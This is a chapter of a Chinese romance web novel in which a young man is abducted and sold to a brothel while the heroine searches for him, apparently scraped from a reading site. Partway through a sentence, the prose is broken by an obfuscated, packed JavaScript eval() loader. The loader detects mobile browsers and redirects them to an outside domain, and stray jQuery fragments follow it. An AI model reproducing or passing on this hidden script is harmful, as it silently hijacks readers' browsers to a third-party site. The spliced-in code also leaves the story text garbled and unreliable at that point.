36. 第 36 章

作品:《捡来的弟弟他总想上位

    孑立的雨中鸢尾就这样倒在水泊之中,他的胸前几乎毫无起伏,瞧上去像是枯萎死去了一般。


    “大哥,他不会死了吧?”一旁的手下小声道。


    只见为首的男子小心翼翼地靠近,踢了花衔青一脚。旋即花衔青紧闭的眼皮微微一颤。


    “瞎说什么呢?没死。”


    他轻斥了一句,“去吧,别忘了袁副将的交代,做得干净点。”


    “是。”


    几人低低应了,上前几步,将花衔青扛到肩上,疾行离开。


    那为首之人则换了个方向,往常戍卫兵营而去。


    另一边,山溪礼坐在窗棂旁。


    她双手撑着脸颊,将自己的梨涡揉成了圆鼓鼓的模样,凝视着夜雨纷沓。


    也不知道此时他回到端国公府没有。


    唉……


    她深深叹了口气,转而将右手摊在窗沿边,大拇指上那枚扳指早已被体温烘得莹润。碧色盘蛇之中那一点红尤其妖冶,就像,离去时他的身影一般,刺目极了。


    自己要攻略裴序,自然就得负他。早知当初就不该糊里糊涂地说自己喜他,这下好了,今日他一定很伤心。


    不过,早早说清也好,就这般止住,不要再进一步了。


    她摩挲着扳指,眼神带着些自己都未察觉的苦涩。


    心中纷乱,困意来袭,她就这样趴在窗边,听着雨声睡着了。


    ……


    “阿嚏!”


    第二天一早,山溪礼被冻的身子一抖,猛然打了个喷嚏,惊醒过来。


    她缓缓起身,试图把自己僵硬的手臂给抬下来,骨头“嘎嘣”地响了好几声。


    “啾、啾啾”


    窗棂一侧立了只小鸟,伸头动脑地,用疑惑的眼光瞧着山溪礼。


    山溪礼朝它做了个鬼脸,将其吓跑了。


    她揉揉自己酸胀的关节,肩侧就像折了一般,双臂被硌的痕迹也极深,乌紫紫的好长一条。


    她皱了皱眉,等身体活络过来,便又雷打不动地朝裴序房间走去。


    快了,就差15%了。等她彻底攻略完,就能一劳永逸,安心做自己的事了。


    ……


    “哎,仔细着点儿,这可是咱的财神爷。”


    尖细的男声响起,打破了清晨的静谧。下一瞬,絮语声如蚊蝇般响起,搅得耳根更加不清净。


    花衔青紧蹙着眉,掀开眼皮,阴郁地扫了眼面前之人。


    “啊!”


    那面庞白净的男人被他的突然睁眼吓了一跳,手指触电般离开他的身体,往后一坐。


    “大叫些什么?一惊一乍的。”


    先前出声的尖细男音再度响起,他不耐烦地扫开了坐在地上的男人,亲自走到花衔青跟前。


    此时花衔青才发觉自己躺在柔软的床上,衾被如绸缎般亲肤,又轻又暖。只是,浓郁的艳香却熏得他几欲作呕。


    这是他万分熟悉的味道,呛得他骨子里都在疼。


    那男老/鸨步态妖娆,侧坐在花衔青床边,指尖点了点他的眉心,“既然来了这儿,可不能露出这般表情了。”


    “我是这儿的管事,你可叫我梁爹爹。”


    花衔青淡淡瞥了他一眼,没有说话。


    似乎是觉着他还算识趣,那梁爹爹继续言道:“也真是个可怜见的,失了作为男人的本事。不过你放心,在咱们这儿,你只负责躺好就行,也算是个不错的活计。”


    “尤其是今夜,你若是能夺了这花魁之名,只消做个两三年,便能还清你那死鬼爹娘的债务了。”


    花衔青勾了勾唇,笑意不达眼底。


    他倒是不知,那群人哪儿来这么大的胆子,敢把他带来这里。


    “失了身为男人的本事?”他轻飘飘道。


    “呐,你也别灰心,等有了钱,说不定便能治好呢。”


    梁爹爹对他这副皮相很是满意,自然也多了几分耐心,“休息够了便起来吧,跟他好好学学,今晚花魁之夜,你必将扬名风京。”


    花衔青歪头,瞧了眼坐在地上仍未回过神的男人。


    就这?教他?


    “呵”,他轻笑一声,听得人骨头都酥了。


    梁爹爹双眸乍亮,笑得合不拢嘴。


    他站起身来,朝那地上的男人道:“好好教!咱们今日必能胜过那醉云馆。”


    “是,爹爹。”小倌芳遇抖着身子,低声应了。


    等梁爹爹带着其他人浩浩荡荡地出了房间,芳遇才爬起来,睁着一双小鹿似的眼睛,水润润地瞧着花衔青。


    “那个……既然你成了咱们柳逢馆的人,咱们便是兄弟了。这第一件事,便是为自己取个名讳。”


    “取个新名字,也是与过去正式作别。毕竟像咱们这种人……”,芳遇摆出前辈的气势,哑了一瞬,继续道:“总之,我名唤芳遇,你想叫什么?”


    花衔青早已坐了起来,正低头整理着自己的衣服,闻言,他头都不抬,道:“慕溪。”


    “好,那你便叫慕溪了。这第二件事,便是给我说说你些什么技艺,我也好为你今晚的表演做些安排。”


    花衔青轻抬起头,似笑非笑,“我什么都不会,但,我知道如何能夺下花魁。”


    他方才脑中已想了一圈此番是谁看他不顺眼,而此时,心中已有了人选。


    昨日那为首的,正是三月初七,于风京城郊偶遇山溪礼时,那一群山匪中唯一使了雷符之人。


    那些寻常山匪,自然是端国公的孙子——他名义上的好侄子赵应远派来的。


    至于那使了雷符的……


    他嘴角噙着笑,微微眯眼,看得芳遇退了半步,抖如筛糠。


    “行了,别抖了。”花衔青慢条斯理的站起身,朝芳遇道:“去帮我准备些东西,我保你们赢下醉云馆。”


    芳遇唇角嗫喏,还想说些什么,却又被他的气势一吓,赶紧下去照办。


    等房间内终于没了闲杂人等,花衔青抚着把寻常至极的雨伞,忆起昨夜之景。


    夜雨凶猛,砸得他连回忆起来时,都闷得发慌。


    但没关系——


    今夜,她一定属于我。


    ……


    傍晚,晚星开始明灭之际,山溪礼端着好不容易亲手做出的蛋羹,往裴序房间走去。


    “喂!”


    只听一道毫不客气的声音叫住了她。


    暖宝急匆匆跑到她面前,累得直不起腰,喘着粗气道:“你把公子藏到哪里去了!”


    山溪礼赶忙将碗放到廊下木凳上,“小花?他昨夜没回去吗?”


    “没有!他彻夜未归!肯定是你这个坏女人,把他气走了。”


    暖宝眼睛通红,恶狠狠地盯着她。


    虽然此番其实是公子命他来找她的,但,他就是想出这口恶气。她也不瞧瞧公子为她付出了多少,居然还为别的男人做蛋羹!


    他越想越气,动作陡然大了起来,故意将那蛋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294915|144784||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    羹打翻在地。


    但山溪礼此刻已然顾不上他的动作,僵在了原地。


    不见了?彻夜未归?


    她脑子嗡嗡的,突然一片空白,下一瞬,苍白着脸朝外面跑去。


    他之前摔伤了便算了,昨夜还受了她的刺/激,那么晚,淋着暴雨,孤零零的一个人。


    她不该让他独自归家的。他长得又好看,身体又柔弱,正正符合那些不轨之人下手的目标。


    此时她想不起来昨日花衔青发狠掐住裴序的模样,满心满眼都是当初他被山匪团团围住的模样,无助而脆弱。


    等她匆匆踏出医馆大门,她的头脑才渐渐明晰起来。


    先问问沿途商户再说。


    她打定主意,朝不远处的商户走去,准备挨家挨户地问。


    不料,一个小孩突然撞到了她腿上,“哎呦”一声,爬起来越过她,继续往远处跑去。


    他嘴上嚷嚷着:“听说柳逢馆新来了个美人儿!他们还扬言今晚花魁非他莫属呢!”


    “我也听说呢,柳逢馆这次可是憋足了劲,也不知从哪儿找的人,那叫一个祸水妖孽。”


    一旁的商贩窃窃私语,正叫山溪礼听个正着。


    “新来的美人儿?”她喃喃一声。


    难道是小花?


    “花魁比赛在哪儿?”山溪礼揪住那商贩的衣领,直截了当地问道。


    “在……在醉云馆。”


    山溪礼边跑边问,穿过如织的人流,终于找到了醉云馆。


    只见夜幕低垂之下,醉云馆灯火如云,仿佛烟霞余晖一般,旖旎豪奢。


    山溪礼无暇欣赏,径直便进了门,一名小厮眼疾手快地拦住了她,引着她从一侧楼梯而上。


    她虽心中焦急,但也不好生事,掏出一锭金子递给他:“小哥,我要你们这儿视野最好的位置。”


    那小厮笑眯眯接了,心说这哪儿够啊。但无论如何,主人早就为她订好了位置,正正是最好那间。


    他尽职尽责地将山溪礼带到三楼天字间,此处视野开阔,正对着院内的舞台。


    等他一走,山溪礼便赶紧趴到窗边往院子中看。


    这醉云馆布局端雅,院内四四方方的,围了五层高楼。此时,正中间的院内已被支起的舞台占满了。


    只见价值不菲的鎏金绒花层层叠叠,将舞台铺了厚厚一层,其间还有娇嫩的艳红色花瓣点缀,恰如金海繁星。


    舞台的四周则垂下了曼丽轻纱,纱质奇异,又绣上了繁复花纹,随风柔柔荡漾间,有细碎的鳞光闪烁而出,如月下鲛尾一般。


    忽然,仿似有一阵醉人香气拂过,那绒花便如潮水般,随着鼓乐有规律地浮动起来。下一瞬,周围辉光更甚,艳红花瓣霎时间升腾旋舞,曼纱隐约遮掩之下,更衬得舞台如梦似幻,可堪比肩仙界!


    山溪礼仰头扫了眼屋阁顶端,果不其然,见到了几名天师。他们正合力维持着舞台上的阵法。


    她蹙紧了眉头,按耐住自己,一心一意地等着这故作玄虚的开幕仪式结束。


    “天哪!那是!”


    蓦地,隔壁窗边传来一声惊呼。


    她定睛一看,只见一个璀璨奢靡的金色牢笼被抬了出来,置于舞台正中。


    旋即,欲盖弥彰的红布被“哗”地掀开,一个衣衫不整的人影便立刻暴露在了所有人面前。


    一刹那,山溪礼忘了呼吸,心仿佛被煎烤一般,死死盯着被粗金锁链半吊于空中之人。